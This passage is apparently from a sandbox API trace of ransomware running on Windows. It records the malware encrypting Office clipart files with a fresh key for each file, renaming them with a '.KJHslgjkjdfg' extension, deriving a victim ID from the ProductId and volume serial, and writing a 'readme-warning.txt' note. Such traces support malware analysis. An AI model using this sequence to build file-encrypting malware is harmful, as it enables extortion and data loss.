ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1653, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB02201_.GIF", cAlternateFileName="")) returned 1 [0196.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02201_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0196.552] GetProcessHeap () returned 0x2a0000 [0196.552] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0196.552] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0196.552] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0196.552] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xd, lpOverlapped=0x0) returned 1 [0196.555] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0196.555] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.555] GetProcessHeap () returned 0x2a0000 [0196.555] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0196.555] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0196.555] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0196.555] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0196.555] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0196.555] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0196.555] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0196.555] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0196.555] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0196.556] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0196.556] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.556] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.556] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1653, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x1653, lpOverlapped=0x0) returned 1 [0196.557] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1660, dwBufLen=0x1660 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1660) returned 1 [0196.557] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.557] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x1660, lpOverlapped=0x0) returned 1 [0196.557] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0196.557] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x1734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.557] SetEndOfFile (hFile=0x118) returned 1 [0196.560] GetProcessHeap () returned 0x2a0000 [0196.560] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0196.560] GetProcessHeap () returned 0x2a0000 [0196.560] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0196.560] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02201_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02201_.gif.kjhslgjkjdfg")) returned 1 [0196.563] CloseHandle (hObject=0x118) returned 1 [0196.563] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x136b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB02214_.GIF", cAlternateFileName="")) returned 1 [0196.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02214_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0196.564] GetProcessHeap () returned 0x2a0000 [0196.564] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0196.564] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0196.564] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0196.564] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x5, lpOverlapped=0x0) returned 1 [0196.567] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0196.567] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.567] GetProcessHeap () returned 0x2a0000 [0196.567] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0196.567] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0196.567] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0196.567] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0196.567] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0196.568] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0196.568] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0196.568] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0196.568] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0196.568] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0196.568] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.568] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.568] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x136b, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x136b, lpOverlapped=0x0) returned 1 [0196.569] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1370, dwBufLen=0x1370 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1370) returned 1 [0196.569] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.569] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x1370, lpOverlapped=0x0) returned 1 [0196.570] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0196.570] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x1444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.570] SetEndOfFile (hFile=0x118) returned 1 [0196.573] GetProcessHeap () returned 0x2a0000 [0196.573] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0196.573] GetProcessHeap () returned 0x2a0000 [0196.573] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0196.573] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02214_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02214_.gif.kjhslgjkjdfg")) returned 1 [0196.575] CloseHandle (hObject=0x118) returned 1 [0196.575] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB02218_.GIF", cAlternateFileName="")) returned 1 [0196.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02218_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0196.577] GetProcessHeap () returned 0x2a0000 [0196.577] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0196.577] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0196.577] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0196.578] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xc, lpOverlapped=0x0) returned 1 [0196.580] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0196.581] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.581] GetProcessHeap () returned 0x2a0000 [0196.581] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0196.581] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0196.581] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0196.581] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0196.581] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0196.581] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0196.581] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0196.581] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0196.581] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0196.582] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0196.582] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.582] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.582] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xbc4, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xbc4, lpOverlapped=0x0) returned 1 [0196.582] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xbd0, dwBufLen=0xbd0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xbd0) returned 1 [0196.582] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.582] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xbd0, lpOverlapped=0x0) returned 1 [0196.582] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0196.582] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.582] SetEndOfFile (hFile=0x118) returned 1 [0196.585] GetProcessHeap () returned 0x2a0000 [0196.585] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0196.585] GetProcessHeap () returned 0x2a0000 [0196.585] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0196.585] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02218_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02218_.gif.kjhslgjkjdfg")) returned 1 [0196.587] CloseHandle (hObject=0x118) returned 1 [0196.587] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB02218_.GIF", cAlternateFileName="")) returned 0 [0196.588] GetProcessHeap () returned 0x2a0000 [0196.588] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0196.588] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0196.588] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0196.588] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0196.588] GetProcessHeap () returned 0x2a0000 [0196.588] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0196.588] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0196.588] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0196.588] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0196.588] GetProcessHeap () returned 0x2a0000 [0196.588] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2c1c28 [0196.588] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0196.588] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1c28, pdwDataLen=0x290ee20 | out: pbData=0x2c1c28, pdwDataLen=0x290ee20) returned 1 [0196.588] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0196.588] GetProcessHeap () returned 0x2a0000 [0196.588] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0196.588] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0196.588] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0196.588] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0196.589] GetProcessHeap () returned 0x2a0000 [0196.589] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1618 [0196.589] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0196.589] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1618, pdwDataLen=0x290ea00 | out: pbData=0x2c1618, pdwDataLen=0x290ea00) returned 1 [0196.589] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0196.589] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0196.589] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0196.589] RegCloseKey (hKey=0x118) returned 0x0 [0196.589] GetProcessHeap () returned 0x2a0000 [0196.589] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0196.589] GetProcessHeap () returned 0x2a0000 [0196.589] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1618 | out: hHeap=0x2a0000) returned 1 [0196.589] GetProcessHeap () returned 0x2a0000 [0196.589] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1618 [0196.589] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0196.589] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1618, pdwDataLen=0x290e7d4 | out: pbData=0x2c1618, pdwDataLen=0x290e7d4) returned 1 [0196.589] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0196.589] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0196.590] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0196.590] GetProcessHeap () returned 0x2a0000 [0196.590] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1618 | out: hHeap=0x2a0000) returned 1 [0196.590] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0196.590] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0196.590] GetProcessHeap () returned 0x2a0000 [0196.590] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f32d0 [0196.590] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\readme-warning.txt") returned 82 [0196.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\readme-warning.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0196.593] WriteFile (in: hFile=0x118, lpBuffer=0x2f32d0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f32d0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0196.595] CloseHandle (hObject=0x118) returned 1 [0196.595] GetProcessHeap () returned 0x2a0000 [0196.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1c28 | out: hHeap=0x2a0000) returned 1 [0196.595] GetProcessHeap () returned 0x2a0000 [0196.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0196.595] GetProcessHeap () returned 0x2a0000 [0196.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0196.595] GetProcessHeap () returned 0x2a0000 [0196.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0196.595] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 